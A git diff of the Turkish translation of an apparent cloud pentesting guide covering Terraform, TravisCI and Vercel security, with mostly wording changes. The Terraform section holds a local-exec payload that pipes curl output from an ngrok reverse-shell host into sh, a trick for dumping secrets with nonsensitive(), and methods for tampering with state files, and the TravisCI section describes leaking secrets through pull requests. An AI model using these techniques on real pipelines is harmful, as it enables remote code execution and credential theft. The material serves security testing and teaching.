-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz.
-- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Harici kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile enjekte ederek RCE elde etmek için de kötüye kullanılabilir.**\
-Sadece aşağıdaki gibi bazı yüklerin `main.tf` dosyasında sona erdiğinden emin olmalısınız:
+Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Aşağıdaki **önceki teknikten gelen önerileri** takip ederek bu saldırıyı **dış referanslar kullanarak daha gizli bir şekilde** gerçekleştirin.
+Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin.
-## Gizli Deşifreler
+## Gizli Bilgiler Dökümü
-Terraform dosyasına aşağıdaki gibi bir şey ekleyerek `terraform apply` çalıştırarak **terraform tarafından kullanılan gizli değerlerin dökümlerini** alabilirsiniz:
+`terraform apply` komutunu çalıştırarak **terraform tarafından kullanılan gizli değerlerin dökülmesini** sağlamak için terraform dosyasına şu şekilde bir şey ekleyebilirsiniz:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -130,7 +130,7 @@ Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kod
Kaynakları yok etmenin 2 yolu vardır:
-1. **Gerçek yok edilecek kaynağa işaret eden rastgele bir isimle durum dosyasına bir kaynak ekleyin**
+1. **Gerçek kaynağı yok etmek için durum dosyasına rastgele bir isimle bir kaynak ekleyin**
Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek:
```json
@@ -154,7 +154,7 @@ Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu sili
### RCE
-Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek de mümkündür. Orijinal araştırmadan örnek:
+Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek mümkündür. Orijinal araştırmadan örnek:
```json
"resources": [
{
@@ -167,9 +167,9 @@ Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/te
]
},
```
-### Kara listeye alınmış sağlayıcıyı değiştirme
+### Kara listeye alınmış sağlayıcıyı değiştir
-`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external sağlayıcısının bir fork'unu kullanıyoruz. Kendi fork'unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz.
+`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest tarafından yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz.
```terraform
terraform {
required_providers {
@@ -206,11 +206,11 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov**, kod olarak altyapı (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşimi analizi (SCA) aracıdır.
+**Checkov**, altyapı kodu (IaC) için statik kod analizi aracı ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır.
-[Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) kullanarak sağlanan bulut altyapısını tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
+[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
-Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Sızıntılar (CVE'ler) taraması olan [Yazılım Bileşimi Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir.
+Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşen Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir.
```bash
pip install checkov
checkov -d /path/to/folder
@@ -219,15 +219,15 @@ checkov -d /path/to/folder
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini sağlamak amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir.
-- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun.
+- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun
- **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın?
-- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın.
-- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular.
+- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın
+- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular
- **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir.
- **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz.
> [!NOTE]
-> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız.
+> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bunlara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -239,7 +239,7 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec, terraform kod
- ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları arasında yanlış yapılandırmaları kontrol eder
- ⛔ Yüzlerce yerleşik kural
-- 🪆 Modülleri tarar (yerel ve uzaktan)
+- 🪆 Modülleri (yerel ve uzaktan) tarar
- ➕ HCL ifadelerini ve literal değerleri değerlendirir
- ↪️ Terraform fonksiyonlarını değerlendirir, örneğin `concat()`
- 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir
@@ -254,9 +254,9 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
-Geliştirme döngüsünün erken aşamalarında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulun.
+Geliştirme döngüsünün başında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin.
-**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için gereklidir.
+**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için vazgeçilmezdir.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
@@ -274,7 +274,7 @@ brew install terrascan
```
## Referanslar
-- [Atlantis Güvenliği](atlantis-security.md)
+- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 3ef09123d..fb69f4efb 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötüye) kullanılacağını açıklayan katkılara açıktır.
+Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötüye) kullanılacağına dair açıklamalarla hoş karşılanır.
- Drone
- TeamCity
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index e5d62ff19..c951d931c 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
## TravisCI Nedir
-**Travis CI**, çeşitli **farklı git platformlarında** barındırılan yazılım projelerini oluşturmak ve test etmek için kullanılan **barındırılan** veya yerinde **sürekli entegrasyon** hizmetidir.
+**Travis CI**, çeşitli **farklı git platformlarında** barındırılan yazılım projelerini oluşturmak ve test etmek için kullanılan **barındırılan** veya **yerel** bir **sürekli entegrasyon** hizmetidir.
{{#ref}}
basic-travisci-information.md
@@ -25,32 +25,32 @@ Web uygulamasına erişiminiz varsa, **yapıyı çalıştırmak için cron'lar a
.png>)
> [!NOTE]
-> [bu](https://github.com/travis-ci/travis-ci/issues/9162) kaynağına göre `.travis.yml` içinde cron ayarlamanın mümkün olmadığını gösteriyor.
+> Görünüşe göre, [bu](https://github.com/travis-ci/travis-ci/issues/9162) doğrultusunda `.travis.yml` içinde cron ayarlamak mümkün değil.
### Üçüncü Taraf PR
-TravisCI varsayılan olarak üçüncü taraflardan gelen PR'larla ortam değişkenlerini paylaşmayı devre dışı bırakır, ancak biri bunu etkinleştirebilir ve ardından depoya PR'lar oluşturarak gizli bilgileri dışarı sızdırabilirsiniz:
+TravisCI varsayılan olarak üçüncü taraflardan gelen PR'lerle env değişkenlerini paylaşmayı devre dışı bırakır, ancak biri bunu etkinleştirirse, o zaman repo'ya PR'lar oluşturabilir ve sırları dışarı sızdırabilirsiniz:
.png>)
-### Gizli Bilgileri Dökme
+### Sırları Dökme
-[**temel bilgiler**](basic-travisci-information.md) sayfasında açıklandığı gibi, 2 tür gizli bilgi vardır. **Ortam Değişkenleri gizli bilgileri** (web sayfasında listelenen) ve **özel şifreli gizli bilgiler**, bunlar `.travis.yml` dosyasında base64 olarak saklanır (her ikisi de şifreli olarak saklandığında son makinelerde ortam değişkenleri olarak sonlanır).
+[**Temel bilgiler**](basic-travisci-information.md) sayfasında açıklandığı gibi, 2 tür sır vardır. **Çevre Değişkenleri sırları** (web sayfasında listelenen) ve **özel şifrelenmiş sırlar**, bunlar `.travis.yml` dosyasında base64 olarak saklanır (her ikisi de şifrelenmiş olarak saklandığında son makinelerde env değişkenleri olarak sonlanır).
-- **Ortam Değişkenleri** olarak yapılandırılan **gizli bilgileri listelemek** için **projenin** **ayarlarına** gidin ve listeyi kontrol edin. Ancak, burada ayarlanan tüm proje ortam değişkenlerinin bir yapı tetiklendiğinde görüneceğini unutmayın.
-- **Özel şifreli gizli bilgileri** listelemek için yapabileceğiniz en iyi şey **`.travis.yml` dosyasını kontrol etmektir**.
-- **Şifreli dosyaları** listelemek için, yapılandırma dosyasında `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` gibi satırlar için depoda **`.enc` dosyalarını** kontrol edebilir veya **Ortam Değişkenleri** içinde **şifreli iv ve anahtarlar** arayabilirsiniz:
+- **Çevre Değişkenleri** olarak yapılandırılan **sırları listelemek** için **projenin** **ayarlarına** gidin ve listeyi kontrol edin. Ancak, burada ayarlanan tüm proje env değişkenlerinin bir yapı tetiklendiğinde görüneceğini unutmayın.
+- **Özel şifrelenmiş sırları** listelemek için yapabileceğiniz en iyi şey **`.travis.yml` dosyasını kontrol etmektir**.
+- **Şifrelenmiş dosyaları** listelemek için repo'da **`.enc` dosyalarını** kontrol edebilir, yapılandırma dosyasında `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` gibi satırlar arayabilir veya **Çevre Değişkenleri** içinde **şifrelenmiş iv ve anahtarlar** arayabilirsiniz:
.png>)
### YAPILACAKLAR:
- Windows/Mac/Linux üzerinde çalışan ters shell ile örnek yapı
-- Günlüklerde base64 kodlu ortamı sızdıran örnek yapı
+- Günlüklerde base64 kodlu env sızdıran örnek yapı
-### TravisCI Kurumsal
+### TravisCI Enterprise
-Bir saldırgan **TravisCI kurumsal** kullanan bir ortamda sona ererse (bu konuda daha fazla bilgi [**temel bilgiler**](basic-travisci-information.md#travisci-enterprise) sayfasında), **Worker'da yapıları tetikleyebilir.** Bu, bir saldırganın o sunucuya yanlamasına geçebileceği anlamına gelir ve bu sunucudan:
+Bir saldırgan **TravisCI enterprise** kullanan bir ortamda sona ererse (bu konuda daha fazla bilgi için [**temel bilgiler**](basic-travisci-information.md#travisci-enterprise)), **Worker'da yapıları tetikleyebilir.** Bu, bir saldırganın o sunucuya yanlamasına geçebileceği anlamına gelir ve bu sunucudan:
- ana makineye kaçabilir mi?
- kubernetes'i tehlikeye atabilir mi?
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 202ee073b..e1611beed 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -8,15 +8,15 @@ TravisCI, Github, Bitbucket, Assembla ve Gitlab gibi farklı git platformlarıyl
Örneğin, Github'da aşağıdaki izinler istenir:
-- `user:email` (sadece okunabilir)
-- `read:org` (sadece okunabilir)
+- `user:email` (salt okunur)
+- `read:org` (salt okunur)
- `repo`: Kamu ve özel depolar ve organizasyonlar için kod, commit durumları, işbirlikçileri ve dağıtım durumlarına okuma ve yazma erişimi verir.
## Şifreli Gizli Bilgiler
### Ortam Değişkenleri
-TravisCI'da, diğer CI platformlarında olduğu gibi, **repo seviyesinde gizli bilgileri kaydetmek** mümkündür; bu bilgiler şifrelenerek kaydedilir ve **şifrelenmiş olarak, build'i gerçekleştiren makinenin ortam değişkenine** itilir.
+TravisCI'da, diğer CI platformlarında olduğu gibi, **repo düzeyinde gizli bilgileri kaydetmek** mümkündür; bu bilgiler şifreli olarak kaydedilir ve **şifrelenmiş olarak, build'i gerçekleştiren makinenin ortam değişkenine** itilir.
.png>)
@@ -24,18 +24,18 @@ TravisCI'da, diğer CI platformlarında olduğu gibi, **repo seviyesinde gizli b
### Özel Şifreli Gizli Bilgiler
-**Her repo için** TravisCI, bir **RSA anahtar çifti** oluşturur, **özel** olanı **saklar** ve depo sahiplerine **erişim** sağlayanların kullanımına **açık anahtarı** sunar.
+**Her repo için** TravisCI bir **RSA anahtar çifti** oluşturur, **özel** olanı **saklar** ve reposuna **erişimi olanlara** depo için **açık anahtarı** sunar.
-Bir reposunun açık anahtarına şu şekilde erişebilirsiniz:
+Bir reposunun açık anahtarına erişmek için:
```
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-Sonra, bu ayarı kullanarak **gizli bilgileri şifreleyebilir ve bunları `.travis.yaml` dosyanıza ekleyebilirsiniz**. Gizli bilgiler **derleme çalıştırıldığında çözülür** ve **çevresel değişkenlerde** erişilebilir hale gelir.
+Sonra, bu ayarı **gizli anahtarları şifrelemek ve bunları `.travis.yaml` dosyanıza eklemek için** kullanabilirsiniz. Gizli anahtarlar **derleme çalıştırıldığında çözülür** ve **çevresel değişkenlerde** erişilebilir hale gelir.
.png>)
-Bu şekilde şifrelenmiş gizli bilgilerin ayarların çevresel değişkenlerinde listelenmeyeceğini unutmayın.
+Bu şekilde şifrelenen gizli anahtarların ayarların çevresel değişkenlerinde listelenmeyeceğini unutmayın.
### Özel Şifreli Dosyalar
@@ -67,19 +67,19 @@ Travis CI Enterprise, **Travis CI'nin yerel versiyonudur**, bunu **altyapınızd
**Travis CI Enterprise iki ana bölümden oluşur:**
-1. TCI **hizmetleri** (veya TCI Temel Hizmetleri), sürüm kontrol sistemleriyle entegrasyondan, derlemeleri yetkilendirmeye, derleme işlerini planlamaya kadar sorumludur.
+1. TCI **hizmetleri** (veya TCI Temel Hizmetleri), sürüm kontrol sistemleriyle entegrasyondan, derlemeleri yetkilendirmeden, derleme işlerini planlamaktan vb. sorumludur.
2. TCI **Worker** ve derleme ortamı görüntüleri (aynı zamanda OS görüntüleri olarak da adlandırılır).
**TCI Temel hizmetleri aşağıdakileri gerektirir:**
1. Bir **PostgreSQL11** (veya daha yeni) veritabanı.
2. Bir Kubernetes kümesini dağıtmak için bir altyapı; gerekirse bir sunucu kümesinde veya tek bir makinede dağıtılabilir.
-3. Kurulumunuza bağlı olarak, bazı bileşenleri kendi başınıza dağıtmak ve yapılandırmak isteyebilirsiniz, örneğin, RabbitMQ - daha fazla ayrıntı için [Travis CI Enterprise Kurulumu](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) sayfasına bakın.
+3. Kurulumunuza bağlı olarak, bazı bileşenleri kendi başınıza dağıtmak ve yapılandırmak isteyebilirsiniz, örneğin, RabbitMQ - daha fazla ayrıntı için [Travis CI Enterprise'ı Kurma](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) sayfasına bakın.
**TCI Worker aşağıdakileri gerektirir:**
-1. **Worker ve bağlı bir derleme görüntüsünü içeren bir docker görüntüsünün dağıtılabileceği** bir altyapı.
-2. Belirli Travis CI Temel Hizmetleri bileşenlerine bağlantı - daha fazla ayrıntı için [Worker Kurulumu](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) sayfasına bakın.
+1. **Worker ve bağlantılı bir derleme görüntüsünü içeren bir docker görüntüsünün dağıtılabileceği** bir altyapı.
+2. Belirli Travis CI Temel Hizmetleri bileşenlerine bağlantı - daha fazla ayrıntı için [Worker'ı Kurma](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) sayfasına bakın.
Dağıtılan TCI Worker ve derleme ortamı OS görüntülerinin sayısı, altyapınızdaki Travis CI Enterprise dağıtımının toplam eşzamanlı kapasitesini belirleyecektir.
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index c57a36155..705887837 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -4,9 +4,9 @@
## Temel Bilgiler
-Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**, bir **uygulama**dır.
+Vercel'de bir **Ekip**, bir müşteriye ait olan tam **ortam** ve bir **proje**, bir **uygulama**dır.
-**Vercel** için bir güvenlik incelemesi yapmak istiyorsanız, kontrol etmek için **Görüntüleyici rol izni** olan bir kullanıcı talep etmeniz veya en azından **Projeye ait görüntüleyici izni** almanız gerekir (eğer sadece projeleri kontrol etmeniz gerekiyorsa ve Ekip yapılandırmasını kontrol etmenize gerek yoksa).
+**Vercel** için bir güvenlik incelemesi yapmak istiyorsanız, kontrol etmek için **Görüntüleyici rol izni** olan bir kullanıcı veya en azından **Projeye görüntüleyici izni** istemeniz gerekir (eğer sadece projeleri kontrol etmeniz gerekiyorsa ve Ekip yapılandırmasını kontrol etmenize gerek yoksa).
## Proje Ayarları
@@ -17,11 +17,11 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
#### Güvenlik Yapılandırmaları:
- **Transfer**
-- **Yanlış Yapılandırma:** Projeyi başka bir ekibe aktarmaya izin verir
-- **Risk:** Bir saldırgan projeyi çalabilir
+- **Yanlış Yapılandırma:** Projeyi başka bir ekibe aktarmaya izin verir.
+- **Risk:** Bir saldırgan projeyi çalabilir.
- **Proje Sil**
-- **Yanlış Yapılandırma:** Projeyi silmeye izin verir
-- **Risk:** Projeyi silmek
+- **Yanlış Yapılandırma:** Projeyi silmeye izin verir.
+- **Risk:** Projeyi silmek.
---
@@ -36,7 +36,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
- **Risk:** Alan adı kaçırma, trafik kesintisi ve kimlik avı saldırıları.
- **SSL/TLS Sertifika Yönetimi**
- **Yanlış Yapılandırma:** Zayıf veya süresi dolmuş SSL/TLS sertifikalarının kullanılması.
-- **Risk:** Ortadaki adam (MITM) saldırılarına karşı savunmasızlık, veri bütünlüğü ve gizliliğin tehlikeye girmesi.
+- **Risk:** Adam ortada (MITM) saldırılarına karşı savunmasızlık, veri bütünlüğü ve gizliliğin tehlikeye girmesi.
- **DNSSEC Uygulaması**
- **Yanlış Yapılandırma:** DNSSEC'i etkinleştirmemek veya yanlış DNSSEC ayarları.
- **Risk:** DNS sahtekarlığı ve önbellek zehirlenmesi saldırılarına karşı artan hassasiyet.
@@ -74,14 +74,14 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
- **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür.
- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
- **Paylaşılan Ortam Değişkenleri**
-- **Yanlış Yapılandırma:** Bunlar Ekip seviyesinde ayarlanan ortam değişkenleridir ve hassas bilgiler içerebilir.
+- **Yanlış Yapılandırma:** Bunlar Ekip seviyesinde ayarlanan ortam değişkenleridir ve hassas bilgiler de içerebilir.
- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
---
### Git
-**Amaç:** Git depo entegrasyonlarını, dal korumalarını ve dağıtım tetikleyicilerini yapılandırmak.
+**Amaç:** Git deposu entegrasyonlarını, dal korumalarını ve dağıtım tetikleyicilerini yapılandırmak.
#### Güvenlik Yapılandırmaları:
@@ -99,13 +99,13 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
- **Güvensiz Üçüncü Taraf Entegrasyonları**
- **Yanlış Yapılandırma:** Güvenilmeyen veya güvensiz üçüncü taraf hizmetlerle entegrasyon.
-- **Risk:** Kompromize entegrasyonlar aracılığıyla zafiyetler, veri sızıntıları veya arka kapılar eklenmesi.
+- **Risk:** Kompromize edilmiş entegrasyonlar aracılığıyla zafiyetlerin, veri sızıntılarının veya arka kapıların tanıtılması.
- **Aşırı İzinli Entegrasyonlar**
- **Yanlış Yapılandırma:** Entegre hizmetlere aşırı izinler vermek.
- **Risk:** Proje kaynaklarına yetkisiz erişim, veri manipülasyonu veya hizmet kesintileri.
- **Entegrasyon İzleme Eksikliği**
- **Yanlış Yapılandırma:** Üçüncü taraf entegrasyonları izlemeyi ve denetlemeyi ihmal etmek.
-- **Risk:** Kompromize entegrasyonların gecikmeli tespiti, güvenlik ihlallerinin potansiyel etkisini artırır.
+- **Risk:** Kompromize olmuş entegrasyonların gecikmeli tespiti, güvenlik ihlallerinin potansiyel etkisini artırır.
---
@@ -133,28 +133,25 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
**OPTIONS İzin Listesi**
- **Yanlış Yapılandırma:** Aşırı geniş yolları veya hassas uç noktaları izin listesine almak.
-- **Risk:** Saldırganlar, yetkisiz eylemler gerçekleştirmek veya güvenlik kontrollerini atlatmak için korunmasız yolları istismar edebilir.
+- **Risk:** Saldırganlar, yetkisiz eylemler gerçekleştirmek veya güvenlik kontrollerini atlatmak için korunmayan yolları istismar edebilir.
**Şifre Koruması**
- **Yanlış Yapılandırma:** Zayıf şifreler kullanmak veya bunları güvensiz bir şekilde paylaşmak.
- **Risk:** Şifreler tahmin edilirse veya sızdırılırsa dağıtımlara yetkisiz erişim.
-
-**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $.
+- **Not:** **Pro** planında **Gelişmiş Dağıtım Koruması** kapsamında ek $150/ay karşılığında mevcuttur.
**Dağıtım Koruma İstisnaları**
-- **Yanlış Yapılandırma:** Üretim veya hassas alan adlarını yanlışlıkla istisna listesine eklemek.
-- **Risk:** Kritik dağıtımların kamuya açılması, veri sızıntılarına veya yetkisiz erişime yol açabilir.
-
-**Not:** **Gelişmiş Dağıtım Koruması** kapsamında **Pro** planında mevcuttur, ek olarak aylık 150 $.
+- **Yanlış Yapılandırma:** Üretim veya hassas alan adlarını istisna listesine yanlışlıkla eklemek.
+- **Risk:** Kritik dağıtımların kamuya açılması, veri sızıntılarına veya yetkisiz erişime yol açar.
+- **Not:** **Pro** planında **Gelişmiş Dağıtım Koruması** kapsamında ek $150/ay karşılığında mevcuttur.
**Güvenilir IP'ler**
- **Yanlış Yapılandırma:** IP adreslerini veya CIDR aralıklarını yanlış belirtmek.
- **Risk:** Meşru kullanıcıların engellenmesi veya yetkisiz IP'lerin erişim kazanması.
-
-**Not:** **Kurumsal** planda mevcuttur.
+- **Not:** **Enterprise** planında mevcuttur.
---
@@ -182,7 +179,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
### Cron Görevleri
-**Amaç:** Belirli aralıklarla otomatik görevler ve scriptler planlamak.
+**Amaç:** Belirli aralıklarla otomatik görevleri ve scriptleri çalıştırmak için zamanlamak.
#### Güvenlik Yapılandırmaları:
@@ -216,7 +213,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
**Git Fork Koruması**
- **Yanlış Yapılandırma:** Uygun incelemeler olmadan yetkisiz çekme isteklerine izin vermek.
-- **Risk:** Kötü niyetli kod, kod tabanına birleştirilebilir, zafiyetler veya arka kapılar eklenebilir.
